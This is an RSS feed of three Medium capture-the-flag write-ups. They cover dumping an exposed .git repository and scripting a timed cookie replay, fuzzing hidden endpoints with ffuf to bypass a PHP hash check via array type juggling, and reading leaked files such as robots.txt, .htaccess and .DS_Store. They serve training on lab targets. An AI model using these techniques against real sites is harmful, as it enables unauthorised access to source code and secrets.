<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahmoud Samy on Medium]]></title>
        <description><![CDATA[Stories by Mahmoud Samy on Medium]]></description>
        <link>https://medium.com/@MahmoudSamy007?source=rss-24f3286596b8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Sy31O_se9R_7YtR1n-2tuw.jpeg</url>
            <title>Stories by Mahmoud Samy on Medium</title>
            <link>https://medium.com/@MahmoudSamy007?source=rss-24f3286596b8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 21:44:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MahmoudSamy007/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CyberTalents: Sonic go brrr writeup]]></title>
            <link>https://medium.com/@MahmoudSamy007/cybertalents-sonic-go-brrr-writeup-725e98f0682e?source=rss-24f3286596b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/725e98f0682e</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[scripting]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mahmoud Samy]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 21:20:45 GMT</pubDate>
            <atom:updated>2026-09-13T21:21:24.964Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sonic go brrr</h3><p><strong>Difficulty:</strong> Easy</p><p><strong>Category:</strong> Web Exploitation</p><p>This challenge is a Web Exploitation / time-based challenge. The server gives you a piece of information you need to use, but only within a very short time window — so there’s no way to solve it by hand, step by step. It has to be automated.</p><h3>Recon</h3><p>Opened the challenge page and found index.html serving the default Apache server page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Us7E_bKhwqk61XW4finYtw.png" /></figure><p>Decided to check robots.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAQ6cgwU3yRNMftM8Qsltw.png" /></figure><p>Found a nice hint:</p><blockquote><em>hint: git gud to solve this challenge ;)</em></blockquote><p>That immediately suggested an <strong>exposed </strong><strong>.git repository</strong>. Tried accessing .git directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlOEkib6Y8EA4LaRb5ZRFw.png" /></figure><h3>Dumping the repo</h3><p>Downloaded the git repository using <strong>git-dumper</strong>, in case there was source code hiding in there:</p><pre>git-dumper https://challenge.cybertalentslabs.com/.git/ ./</pre><p>(git-dumper is a tool that reconstructs the original files from an exposed .git folder on a server, even without directory listing enabled — it rebuilds everything from the raw git objects.)</p><h3>Reading the source</h3><p>Opened the repo in VS Code and found index.php. Here&#39;s the logic flow I found:</p><pre>if(!isset($_SESSION[&#39;flooog&#39;]) and !isset($_COOKIE[&#39;secret&#39;])) {<br>    $flog=generateRandomString();<br>    $_SESSION[&#39;flooog&#39;] = $flog;<br>    $_SESSION[&#39;counter&#39;] = mstime();<br>    setcookie(&quot;secret&quot;,base64_encode($flog));<br>}</pre><pre>if (isset($_POST[&#39;Q&#39;])) {<br>  if ($_POST[&#39;Q&#39;]== $_SESSION[&#39;flooog&#39;]) {<br>    if (  (mstime() - $_SESSION[&#39;counter&#39;]) &lt; 2999  ){<br>    echo &#39;&lt;span filter-content=&quot;S&quot;&gt;You won against sonic!!! GJ Here is a flag for you: flag{f4k3_fl4g}&lt;/span&gt;&#39;;<br>    }else{<br> echo &#39;&lt;span filter-content=&quot;S&quot;&gt;cmon.. do you call this speed?&lt;/span&gt;&#39;;<br>    }<br>  }else{<br> echo &#39;&lt;span filter-content=&quot;S&quot;&gt;The encoded secret you provided is wrong :( Sonic is not impressed&lt;/span&gt;&#39;;<br>    echo &quot;\n&quot;;<br>  }<br>}else{<br> echo &quot;\n&quot;;<br> echo &#39;&lt;span filter-content=&quot;S&quot;&gt;Q parameter is not set!&lt;/span&gt;&#39;;<br>  echo &#39;&lt;span filter-content=&quot;S&quot;&gt;Challenge suspended&lt;/span&gt;&#39;;<br><br>}</pre><p>The server is waiting for a POST request to index.php with a Q parameter equal to the <strong>decoded</strong> value of the secret cookie it just handed you. The catch: you have <strong>less than 3 seconds</strong> from the moment the cookie is issued to send that request back.</p><p>This is the actual vulnerability: the server hands you the secret (base64-encoded) in a cookie, but gives you under 3 seconds to send it back decoded. There’s no way a human can manually grab the cookie, decode it, and POST it back within that window — so the only way to solve this is to automate the whole flow.</p><h3>Automating it</h3><p>To pull this off, I needed a script that:</p><ol><li>Requests the page and captures the secret cookie</li><li>Decodes it (base64)</li><li>Immediately POSTs it back as the Q parameter — all before the 3-second window closes</li></ol><pre>import requests<br>import base64<br>from urllib.parse import unquote<br><br>r = requests.get(&#39;http://cdcamxwl32pue3e6m5l3n94wbq36omqvrjg11b23o-web.cybertalentslabs.com/index.php&#39;)<br><br>cookie = r.cookies.get(&#39;PHPSESSID&#39;)<br>secret = r.cookies.get(&#39;secret&#39;)<br>decodedsecret = base64.b64decode(unquote(secret)).decode()<br><br>header = {&#39;cookie&#39;: f&#39;PHPSESSID={cookie}&#39;}<br>parameter = {&#39;Q&#39;: decodedsecret}<br><br>r2 = requests.post(&#39;http://cdcamxwl32pue3e6m5l3n94wbq36omqvrjg11b23o-web.cybertalentslabs.com/index.php&#39;, data=parameter, headers=header)<br>print(r2.text)</pre><h3>Result</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRMyZ-T6AUFoFGPudQOqYA.png" /></figure><pre>flag{s0n1c_isnt_that_fast_after_all}</pre><p>The hardest part of this challenge wasn’t spotting the vulnerability — the challenge name and the logic made that pretty obvious. The real challenge was getting the script right: handling the cookies correctly, decoding the base64 value, and catching the URL-encoding hiding in the cookie value (%3D%3D instead of ==) — which, if missed, would have broken the whole flow.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=725e98f0682e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ConCmarks CyberTalents Web Challange]]></title>
            <link>https://medium.com/@MahmoudSamy007/concmarks-cybertalents-web-challange-fb6bea326fe9?source=rss-24f3286596b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb6bea326fe9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[cybertalents-ctf]]></category>
            <dc:creator><![CDATA[Mahmoud Samy]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 13:28:50 GMT</pubDate>
            <atom:updated>2026-08-04T13:28:50.579Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Challenge Description: </strong><em>it might be useful to find a mark.</em></p><p>Level: <strong>easy</strong></p><h3>1. Reconnaissance &amp; Source Code Inspection</h3><p>Navigating to the main application page presents a simple static text output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nCMFhjrKzd49cZQYOUUGqg.png" /><figcaption><em>Challenge main page interface</em></figcaption></figure><p>Inspecting the underlying HTML source code initially reveals ordinary elements. However, scrolling down to the very bottom uncovers a hidden HTML comment containing a critical lead:</p><pre>&lt;!--FILE=&gt; sourceXXXX --&gt;<br>&lt;!--XXXX are numbers &gt; 7000 &amp; &lt; 9000 --&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-4sKrL58zyurKZKdoeVVg.png" /><figcaption><em>Hidden HTML comment disclosing the endpoint structure</em></figcaption></figure><p>This confirms the presence of a hidden source file at /sourceXXXX, where XXXX ranges from 7001 to 8999.</p><h3>2. Directory Fuzzing</h3><p>To discover the exact numerical suffix, we first generate a custom target wordlist:</p><pre>python3 -c &quot;for i in range(7001, 9000): print(i)&quot; &gt; wordlist.txt</pre><p>Next, we run ffuf to fuzz the web server endpoints, filtering out irrelevant responses:</p><pre>ffuf -u http://cybertalentslabs.com/sourceFUZZ -w wordlist.txt -fs 42 -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-fTv1g02ZNtgYHhRaMKUQ.png" /><figcaption><em>FFUF discovering the active </em><em>/source8020 endpoint.</em></figcaption></figure><p>The tool identifies a valid endpoint returning HTTP status 200: /source8020.</p><h3>3. Vulnerability Analysis</h3><p>Navigating to /source8020 displays the PHP source code governing the challenge backend:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BuMYPxpxQ2KVhhBumMH5jg.png" /><figcaption><em>Extracted PHP authentication logic</em></figcaption></figure><pre>include(&quot;flag.php&quot;);<br><br>$input1 = $_GET[&#39;n1&#39;];<br>$input2 = $_GET[&#39;n2&#39;];<br>if ($input1 !== $input2 &amp;&amp; @hash(&quot;md5&quot;, $salt . $input1) === @hash(&quot;md5&quot;, $salt . $input2)) {<br>    echo $Flag;<br>} else {<br>    echo &quot;Sorry this value is not valid.&quot;;<br>}</pre><h3>Required Logic Conditions:</h3><ol><li>Strict Inequality: $input1 !== $input2</li><li>Strict Hash Match: hash(&quot;md5&quot;, $salt . $input1) === hash(&quot;md5&quot;, $salt . $input2)</li></ol><h3>4. Exploitation (Array Type Juggling)</h3><p>Because strict comparison (===) is enforced, traditional MD5 magic hashes (e.g., 0e...) will fail. However, PHP&#39;s built-in hash() function expects a String as its second argument.</p><p>When an Array is passed instead:</p><ul><li>The hash() function outputs a warning and returns NULL.</li><li>The @ operator suppresses the error warning.</li></ul><h3>Exploit Payload:</h3><p>We pass two distinct arrays via GET parameters:</p><pre>https://cybertalentslabs.com/source8020?n1[]=a&amp;n2[]=b</pre><h3>Execution Breakdown:</h3><ul><li><strong>[&#39;a&#39;] !== [&#39;b&#39;]</strong> =&gt; TRUE (Arrays contain different values).</li><li><strong>@hash(&quot;md5&quot;, $salt . [&#39;a&#39;])</strong> =&gt; NULL</li><li><strong>@hash(&quot;md5&quot;, $salt . [&#39;b&#39;])</strong> =&gt; NULL</li><li><strong>NULL === NULL</strong> =&gt;TRUE</li></ul><p>Executing this request successfully bypasses the checks and prints the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEdNxbMjYuAMyArauu_hsg.png" /><figcaption><em>Bypassing the check and retrieving the flag</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yX1OM0XjuoExnr70etg_Wg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb6bea326fe9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“PicoCTF: Scavenger Hunt — Mastering Web Information Disclosure”]]></title>
            <link>https://medium.com/@MahmoudSamy007/picoctf-scavenger-hunt-mastering-web-information-disclosure-18754d747026?source=rss-24f3286596b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/18754d747026</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[Mahmoud Samy]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 22:02:45 GMT</pubDate>
            <atom:updated>2026-01-23T22:02:45.893Z</atom:updated>
            <content:encoded><![CDATA[<h3>“PicoCTF: Scavenger Hunt — Mastering Web Information Disclosure”</h3><p>Difficulty level: Easy</p><h3>Introduction</h3><p>The “Scavenger Hunt” challenge is a web exploitation task that focuses on <strong>Information Disclosure</strong>. It rewards a systematic approach to auditing web assets, including source code, configuration files, and OS-specific metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHkDvPWst9aK3cAR7zOu2Q.png" /><figcaption>The main page in web site</figcaption></figure><h3>Flag #1: HTML Source Inspection</h3><p>Upon initial inspection of the homepage, I performed a manual source code review (Ctrl+U).</p><ul><li><strong>Discovery:</strong> A hidden HTML comment at the bottom of the page revealed the first part of the flag.</li><li><strong>Flag Part 1:</strong> picoCTF{t</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dxLqdp2beLdMiS2CZPkjjw.png" /><figcaption><strong>Flag Part 1</strong></figcaption></figure><h3>Flag #2: CSS Source Inspection</h3><ul><li><strong>Discovery:</strong> A hidden CSS comment at the mycss.css file revealed the second part of the flag.</li><li><strong>Flag Part 2:</strong> h4ts_4_10</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJZ5CtnIqPaUgj8mp_gqTg.png" /><figcaption><strong>Flag Part 2</strong></figcaption></figure><h3>Flag #3: Information leakage via robots.txt</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kx0Q13LlJ9iiM7XsCgNDLA.png" /><figcaption>myjs.js</figcaption></figure><p>The hint in myjs.js file mentioned: “<em>Google indexing my website</em>”</p><ul><li><strong>Attack Vector:</strong> Accessing the robots.txt file</li><li><strong>Flag part 3: </strong><strong>t_0f_pl4c</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YN2qXe7Vk2oh3BVMKPfTaw.png" /><figcaption><strong>Flag Part 3</strong></figcaption></figure><h3>Flag #4: Apache Configuration Leak (.htaccess)</h3><p>The hint in robots.txt mentioned: <em>&quot;I think this is an apache server&quot;</em>. This is a direct pointer to check for server-specific configuration files.</p><ul><li><strong>Attack Vector:</strong> Accessing the .htaccess file, which is often misconfigured and left readable.</li><li><strong>Flag Part 4:</strong> 3s_2_lO0k</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DuI2q4vy66oeqoS_Ve599g.png" /><figcaption><strong>Flag Part 4</strong></figcaption></figure><h3>Flag 5#: Apache Configuration Leak (.DS_Store)</h3><p>The hint in .htaccess mentioned: “ <em>I love making websites on my Mac, I can Store a lot of information there</em>”. this is a direct pointer to check .DS_Store file that used for store information.</p><ul><li><strong>Attack Vector:</strong> Accessing the .DS_Store file, which is often misconfigured and left readable.</li><li><strong>Flag Part 5:</strong> _9588550}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8OAYMSac2KO81XnCxZvIA.png" /><figcaption><strong>Flag Part 5</strong></figcaption></figure><h3>Full Flag</h3><pre>picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_9588550}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18754d747026" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>